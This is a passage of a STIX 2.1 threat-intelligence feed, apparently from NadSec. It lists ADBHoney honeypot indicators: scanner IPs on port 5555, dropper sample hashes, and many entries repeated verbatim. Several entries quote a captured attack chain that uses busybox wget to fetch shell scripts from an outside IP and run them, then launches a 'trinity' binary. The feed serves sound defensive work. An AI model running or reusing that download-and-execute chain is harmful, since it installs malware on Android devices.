      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=261 | first_seen=2026-03-09T22:55:29.000Z | last_seen=2026-03-14T08:33:11.397Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "valid_until": "2026-04-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 261,
          "first_seen": "2026-03-09T22:55:29.000Z",
          "last_seen": "2026-03-14T08:33:11.397Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=52; ports=5555; cc=SE; asn=29518; asn_org=Bredband2 AB; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=52 | first_seen=2026-03-09T22:24:10.000Z | last_seen=2026-03-09T22:35:34.766Z | ports=5555 | cc=SE | asn=29518 | org=Bredband2 AB | related_hashes=26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--efa12dd6-4f2a-4af8-9531-c16103547824",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '83.233.109.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "valid_until": "2026-04-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 52,
          "first_seen": "2026-03-09T22:24:10.000Z",
          "last_seen": "2026-03-09T22:35:34.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "29518"
          ],
          "org": [
            "Bredband2 AB"
          ],
          "related_hashes": [
            "26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/34f31f880e45e8034afa8fe16f1ad91161f1c59ba8605e742ea6f7a52ef46bf7.raw; last_seen=2026-03-09T22:52:29.975Z",
      "id": "indicator--fe17d355-f215-452b-8ace-25e295f70d51",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '34f31f880e45e8034afa8fe16f1ad91161f1c59ba8605e742ea6f7a52ef46bf7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc.raw; src_ip=83.233.109.23; src_ips=83.233.109.23; cc=SE; last_seen=2026-03-09T22:25:13.846Z; cmds=[echo hello | cd /data/local/tmp/; busybox wget http://171.25.158.78/w.sh; sh w.sh; wget http://171.25.158.78/wget.sh; sh wget.sh; cur | /data/local/tmp/nohup /data/local/tmp/trinity]",
      "id": "indicator--9308ad5d-e738-4f6f-8954-d4b310809846",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5.raw; src_ip=83.233.109.23; src_ips=83.233.109.23; cc=SE; last_seen=2026-03-09T22:25:09.151Z; cmds=[echo hello | cd /data/local/tmp/; busybox wget http://171.25.158.78/w.sh; sh w.sh; wget http://171.25.158.78/wget.sh; sh wget.sh; cur | /data/local/tmp/nohup /data/local/tmp/trinity]",
      "id": "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/390232acc67e55e9a1a63608cf58ff5eca865be988d9208b156103fb122ce809.raw; last_seen=2026-03-09T22:52:28.849Z",
      "id": "indicator--4e295b8d-4ac8-43f1-94cb-045a549a9913",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '390232acc67e55e9a1a63608cf58ff5eca865be988d9208b156103fb122ce809']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=HK; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=56 | first_seen=2026-03-09T22:24:17.000Z | last_seen=2026-03-09T23:49:08.018Z | ports=5555 | cc=HK | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--3bcf2566-84a9-411a-8990-26a49f0df046",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.70.6.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "valid_until": "2026-04-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 56,
          "first_seen": "2026-03-09T22:24:17.000Z",
          "last_seen": "2026-03-09T23:49:08.018Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=261 | first_seen=2026-03-09T22:55:29.000Z | last_seen=2026-03-14T08:33:11.397Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--711539bf-e1b4-4f26-9d2a-8e1e59d6eebd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "valid_until": "2026-04-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 261,
          "first_seen": "2026-03-09T22:55:29.000Z",
          "last_seen": "2026-03-14T08:33:11.397Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=52; ports=5555; cc=SE; asn=29518; asn_org=Bredband2 AB; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=52 | first_seen=2026-03-09T22:24:10.000Z | last_seen=2026-03-09T22:35:34.766Z | ports=5555 | cc=SE | asn=29518 | org=Bredband2 AB | related_hashes=26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--efa12dd6-4f2a-4af8-9531-c16103547824",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '83.233.109.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "valid_until": "2026-04-10T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 52,
          "first_seen": "2026-03-09T22:24:10.000Z",
          "last_seen": "2026-03-09T22:35:34.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "29518"
          ],
          "org": [
            "Bredband2 AB"
          ],
          "related_hashes": [
            "26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/34f31f880e45e8034afa8fe16f1ad91161f1c59ba8605e742ea6f7a52ef46bf7.raw; last_seen=2026-03-09T22:52:29.975Z",
      "id": "indicator--fe17d355-f215-452b-8ace-25e295f70d51",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '34f31f880e45e8034afa8fe16f1ad91161f1c59ba8605e742ea6f7a52ef46bf7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc.raw; src_ip=83.233.109.23; src_ips=83.233.109.23; cc=SE; last_seen=2026-03-09T22:25:13.846Z; cmds=[echo hello | cd /data/local/tmp/; busybox wget http://171.25.158.78/w.sh; sh w.sh; wget http://171.25.158.78/wget.sh; sh wget.sh; cur | /data/local/tmp/nohup /data/local/tmp/trinity]",
      "id": "indicator--9308ad5d-e738-4f6f-8954-d4b310809846",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5.raw; src_ip=83.233.109.23; src_ips=83.233.109.23; cc=SE; last_seen=2026-03-09T22:25:09.151Z; cmds=[echo hello | cd /data/local/tmp/; busybox wget http://171.25.158.78/w.sh; sh w.sh; wget http://171.25.158.78/wget.sh; sh wget.sh; cur | /data/local/tmp/nohup /data/local/tmp/trinity]",
      "id": "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T23:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/390232acc67e55e9a1a63608cf58ff5eca865be988d9208b156103fb122ce809.raw; last_seen=2026-03-09T22:52:28.849Z",
      "id": "indicator--4e295b8d-4ac8-43f1-94cb-045a549a9913",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '390232acc67e55e9a1a63608cf58ff5eca865be988d9208b156103fb122ce809']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-10T00:22:31.000Z | last_seen=2026-03-10T03:50:18.035Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--5e51027f-cc13-4eb8-8091-9c2b5d7a1b06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:00:03.000Z",
      "valid_until": "2026-04-11T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-10T00:22:31.000Z",
          "last_seen": "2026-03-10T03:50:18.035Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-10T00:22:31.000Z | last_seen=2026-03-10T03:50:18.035Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--5e51027f-cc13-4eb8-8091-9c2b5d7a1b06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:00:03.000Z",
      "valid_until": "2026-04-11T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-10T00:22:31.000Z",
          "last_seen": "2026-03-10T03:50:18.035Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-10T01:38:01.000Z | last_seen=2026-03-17T08:33:34.332Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--351cad2d-428b-4885-8852-b39e0fc0128a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:00:03.000Z",
      "valid_until": "2026-04-11T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-10T01:38:01.000Z",
          "last_seen": "2026-03-17T08:33:34.332Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-10T01:38:01.000Z | last_seen=2026-03-17T08:33:34.332Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--351cad2d-428b-4885-8852-b39e0fc0128a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:00:03.000Z",
      "valid_until": "2026-04-11T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
